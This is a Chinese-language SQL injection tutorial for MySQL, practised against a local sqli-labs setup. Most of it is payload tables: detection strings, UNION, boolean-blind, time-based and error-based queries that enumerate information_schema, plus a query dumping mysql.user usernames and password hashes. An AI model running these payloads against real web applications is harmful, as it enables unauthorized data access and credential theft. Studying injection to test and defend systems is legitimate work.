目录
一、什么是SQL注入(SQL Injection)
二、SQL注入原理
三、SQL注入方式
四、注入探测
1.特殊字符探测
字符串类型
数字类型
登录测试
2.sql盲注探测
五、注入确认
Int类型SQL语句
内联注入查询
六、SQL注入利用——获取字段长度
1.获取字段长度
Order/Group By
七、SQL注入利用——获取数据库信息
1.默认数据库
information_schema库
Mysql库
2.获取数据库名称
明注
盲注
3.获取数据库用户名
字符串连接
4.获取表名
UNION
盲注
错误提示
5.获取字段名
Union
盲注
错误提示
5.获取所有表和字段
获取表和字段1
获取表和字段2
6.从列名查找表
7.从表名称中查找列
Sql注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析执行。如果攻击者能够修改SQL语句,那么该语句将与应用的用户拥有相同的运行权限。当使用SQL服务器与系统执行交互命令时,该进程将与执行命令组件拥有相同的权限。
由于网站开发人员或者程序编写人员在处理应用程序和数据库交互的时候,没有正确使用安全编码导致用户提交的数据(字符串或其他数据)当作SQL语句去执行,造成了SQL注入攻击。
为了更直观的了解出SQL注入使用之前的OA查看用户信息的案例当用户点击http://www.oatest.com/index.php?id=1,我们尝试将该查询注入自定义SQL语句,将id参数添加 or 1=1 字符串,使其拼接成http://www.oatest.com/index.php?id=1 or 1=1 返回结果是将所有的用户信息全部查询出来,造成这种原因就是因为通过我们输入的参数值导致了SQL语句在数据库中发生了变化。在数据库查询or操作时将1=1永远为真,
具体SQL语句为:
SELECT
id,
firstname,
astname
FROM
MyGuests
WHERE
id = 1
OR 1 =1
可以通过这种方式输入不同的SQL语句达到不同的攻击目的。
注:开启SQL日志命令
#查看日期情况
#show variables like '%general%';
#开启日志
#SET GLOBAL general_log = 'On';
#指定日志文件(可以不执行用默认也可以)
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
SQL注入可以出现在任何从系统或用户接收数据输入的前端应用程序中,这些应用程序之后用于访问数据库服务器。通过一下几种方式去寻找SQL注入。
GET是一种请求服务器的方法,该方法可直接通过URL向服务器提交数据
该请求URL格式如下所示:
http://www.test.com/index.php?c=article&id=20
参数为:id
POST同样也是一种请求服务器方法,该方法与GET请求格式相同,不过POST请求的数据出现在http包底部。
POST http://www.test.com/admin.php?c=login&a=go HTTP/1.1
Host: www.test.com
Connection: keep-alive
Content-Length: 40
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/admin.php?c=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: __unam=ababdfd-150f02374d5-4fb19e55-2; PHPSESSID=j4gsbqld741to69ogtppsgd1p6
adminuser=root&adminpass=123456&vercode=
参数为:adminuser,adminpass,vercode
大多数应用注入都从GET或POST参数中,但http请求其他的数据字段也可能会触发SQL注入。如:
SQL语句:SELECT * FROM Table WHERE id = '1';
测试字符 |
返回 |
' |
False |
'' |
True |
" |
False |
"" |
True |
\ |
False |
\\ |
True |
例如:
SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
SQL语句 SELECT * FROM Table WHERE id = 1;
测试字符 |
返回 |
AND 1 |
True |
AND 0 |
False |
AND true |
True |
AND false |
False |
1-false |
Returns 1 if vulnerable |
1-true |
Returns 0 if vulnerable |
1*56 |
Returns 56 if vulnerable |
1*56 |
Returns 1 if not vulnerable |
例如:SELECT * FROM Users WHERE id = 3-2;
注意:
true 等于 1.
False 等于0.
SQL语句 SELECT * FROM Table WHERE username = '';
测试字符 |
' OR '1 |
' OR 1 -- - |
" OR "" = " |
" OR 1 = 1 -- - |
'=' |
'LIKE' |
'=0--+ |
例如:SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
SQL盲注与其他注入有明显的区别划分,没有数据库错误提示明显标识,也没有web响应事明显表现,主要根据一下表现方式去识别盲注:
真假方式
当用户数据后造成永真后。例如:
参数为username数值为:user’ or ‘1’=’1
参数为passwd数值为:111
页面返回提示结果为密码输入错误
当用户数据后造成永假后。例如:
参数为username数值为:user’ or ‘1’=’2
参数为passwd数值为:111
页面返回提示结果为用户不存在
时间盲注
根据提交返回的时间差进行判断。
函数 |
说明 |
SLEEP() |
MySQL 5 |
BENCHMARK() |
MySQL 4/5 |
例如:' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
在Mysql中有几种方法可以做到时间延迟。那就是使用其中的sleep()函数和benchmark()
在执行SQL注入攻击时,首先要了解数据库包含的不同的类型的数据,可以大致分为两类:
- Int类型:通常不需要使用单引号或者双引号
- 其他类型:需要使用单引号或者双引号
#or运算符
SELECT * FROM student as a WHERE a.id = -1 or 1=1
SELECT * FROM student as a WHERE a.id = -1 or 1=2
#and 运算符
SELECT * FROM student as a WHERE a.id = 1 and 1=1
SELECT * FROM student as a WHERE a.id = 1 and 1=2
#运算符
SELECT id, firstname, lastname FROM MyGuests where id = 1-2
SELECT id, firstname, lastname FROM MyGuests where id = 1*2
字符串内联注入测试代码
字符串 |
变异 |
返回结果 |
‘ |
如果成功,数据库返回一个错误 |
|
1’ or ‘1’=’1 |
1’) or (‘1’=’1 |
如果成功,将返回表中所有行 |
222’ or ‘1’=’2 |
222’ )or (‘1’=’2 |
如果成功,将放回与原来的值相同的结果 |
1’ and ‘1’=’2 |
1’) and (‘1’=’2 |
如果成功,将不返回表任何行 |
1’ or ‘ab’=’a’’b |
1’ )or (‘ab’=’a’’b |
如果成功,将返回与永真条件相同信息 |
Int内联注入测试代码
字符串 |
变异 |
返回结果 |
‘ |
如果成功,数据库返回一个错误 |
|
1+1 |
3-1 |
如果成功,将返回与操作结果相同的值 |
测试值+0 |
如果成功,将返回与原来请求相同的值 |
|
1 or 1=1 |
1 )or (1=1 |
如果成功,将返回表中所有行 |
测试值 or 1=2 |
测试值) or (1=2 |
如果成功,将放回与原来的值相同的结果 |
1 and 1=2 |
1) and (1=2 |
如果成功,将不返回表任何行 |
1 or ‘ab’=’a’’b |
|
如果成功,将返回与永真条件相同信息 |
注释SQL注入是指攻击者在注入SQL代码时,通过将原来的语句剩余的部分进行注释掉,从而成功结束原来的查询语句。如图所示,在图中可以看出,在注入代码中之了原来的SQL语句。除种植该语句外,还需要注释掉生育的语句其实不能执行。
字符 |
说明 |
# |
用于单行注释 |
/* |
用于多行注释 |
-- - |
用于单行注释。要求第二个字符后边加一个空格或者符号 |
;%00 |
空字节 |
` |
反单引号 |
例如:
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
字符 |
说明 |
/* |
用于多行注释 |
-- |
用于单行注释 |
;%00 |
空字节 |
例如:
SELECT * FROM Users WHERE username = '' OR 1=1 -- ' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
字符 |
说明 |
-- |
用于单行注释 |
例如:
SELECT * FROM Users WHERE username = '' OR 1=1 -- ' AND password = '';
在MySQL中 升序为asc 降序为desc,在order by后加上指定的字段如:order by id desc,意思就是说将id进行降序排序。从order by后边可以看出必须加上指定的列表才可以,但是在实际中可以里用字段所在的列的序号进行指定列如:order by 1 desc其实和order by id desc是一个意思。同理group by是一个道理。
Given the query SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';
测试代码 |
返回数据 |
1' ORDER BY 1--+ |
真 |
1' ORDER BY 2--+ |
真 |
1' ORDER BY 3--+ |
真 |
1' ORDER BY 4--+ |
假 - 字段为3列 |
-1' UNION SELECT 1,2,3--+ |
真 |
注:
通过前期的order/group by 可以判断出字段的长度,但是并没有识别出当前的所使用的数据库类型。在SQL注入的过程中不同的数据库所使用的内置函数大不相同,所以在进行爆表或者爆字段的过程中首先需要判断当前的数据库类型及版本信息。
库名 |
说明 |
mysql |
需要root权限 |
information_schema |
在5.x版本或更高版本 |
在MySQL中,把information_schema 看作是一个数据库,准确说是数据库的信息。其中保存着关于MySQL数据库所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等相关信息。
注:information_schema数据库是作为只读存在,不能够进行修改。
在SQL注入中最中要的几个表是tables、schemata和COLUMNS。
- tables表
保存了所有的数据库的名称和数据库表的名称等
- Schemata表
保存了所有的数据库的名称和数据库的编码信息等
- COLUMNS表
保存了mysql数据库中所有表的信息如:数据库名称、字段名称、字段类型等
Mysql数据库是mysql内置的库,必须使用root权限才能进行访问,低权限无法访问。该数据配置了所有mysql的配置设置,包括了如:登录账户、mysql系统配置、插件等。
在SQL注入中使用涉及了mysql.user、mysql.db 两个表。
- mysql.user表
该表保存了mysql的所有用户的信息及权限设置
- mysql.db 表
该表只能将某一个账户授权了指定的数据库才有该授权的数据库名称。
库名 |
说明 |
表 |
information_schema.schemata, mysql.db |
字段 |
schema_name, db |
当前数据库 |
database(), schema() |
当使用SELECT schema_name FROM information_schema.schemata;语句时返回了所有的数据的信息
我们通过将该语句进行拼装到sql注入语句中进行查看SELECT * FROM student WHERE id =-1 UNION SELECT 1,schema_name,3,4,5,6 FROM information_schema.schemata;
返回是
接下来我们在进行结合url进行注入
http://127.0.0.1/sqlinj/sqli-labs/Less-2/?id=-1%20UNION%20SELECT%201,schema_name,3%20FROM%20information_schema.schemata;%00
发现返回的内容结果为
#SELECT * FROM users WHERE id='1' and 1=1-- ' LIMIT 0,1 执行正常,返回正常
#SELECT * FROM users WHERE id='1' and 1=2-- ' LIMIT 0,1 执行不正常,返回正常
#SELECT * FROM users WHERE id='1' and (1=1 OR (SELECT SLEEP(2))) #执行不到1秒,没有执行sleep
#SELECT * FROM users WHERE id='1' and (1=2 OR (SELECT SLEEP(2))) #执行超过2秒钟
SELECT * FROM users WHERE id='1' and (((ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))>3333)) or sleep(3))
SELECT GROUP_CONCAT(distinct TABLE_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 0x7365637572697479 LIMIT 0,1;
库名 |
说明 |
表名 |
mysql.user |
字段 |
user, password |
当前用户 |
user(), current_user(), current_user, system_user(), session_user() |
例如:
SELECT current_user;
SELECT CONCAT_WS(0x3A,user,password) FROM mysql.user WHERE user = 'root'-- (Privileged)
注:复制粘贴的时候注意空格可能会是一个另外的字符集
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
Select CONCAT_WS(0x3A,user,password)WHERE user ='root'
http://127.0.0.1/sqlinj/sqli-labs/Less-2/?id=-1%20UNION%20SELECT%201,schema_name,3%20FROM%20information_schema.schemata;%00
只返回一条数据,那我们需要的是将所有的库进行查询出来,这个时候有两种方法
第一种:通过limit逐行获取
如?id=-1%20UNION%20SELECT%201,schema_name,3%20FROM%20information_schema.schemata%20limit%201,1--+
不停的改变数值进而将所有数据库全部遍历出来
第二种:通过连接函数
常见利用函数GROUP_CONCAT
SELECT * FROM student WHERE id =-1 UNION SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata;
将所有的库名全部返回
注:
CONCAT()如果任何论据为NULL,则将返回NULL。改为使用CONCAT_WS()。
第一个参数CONCAT_WS()为其其余参数定义分隔符。
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
案例:
id = -8 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6,7,8,9,10,11 FROM information_schema.tables
查询所有表
id = -8 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6,7,8,9,10,11 FROM information_schema.tables WHERE TABLE_SCHEMA=0x646f75706870
按照指定库名查找
注: version=10 for MySQL 5
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
案例:
SELECT * FROM users WHERE users.id = '1' AND ((ASCII(MID((SELECT distinct TABLE_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 0x7365637572697479 LIMIT 0,1),1,1)) > 50) OR SLEEP(3))-- #不执行3秒
SELECT * FROM users WHERE users.id = '1' AND ((ASCII(MID((SELECT distinct TABLE_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 0x7365637572697479 LIMIT 0,1),1,1)) > 9950) OR SLEEP(3))-- #执行3秒
SELECT * FROM users WHERE users.id = '1' AND ((LENGTH((SELECT distinct TABLE_NAME FROM information_schema.`COLUMNS` WHERE TABLE_SCHEMA = 0x7365637572697479 LIMIT 0,1)) > 6) OR SLEEP(3))-- #表名长度
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
注:
X代表是别名的意思
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
注:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b) a)
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a)
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例如:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例如:
SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';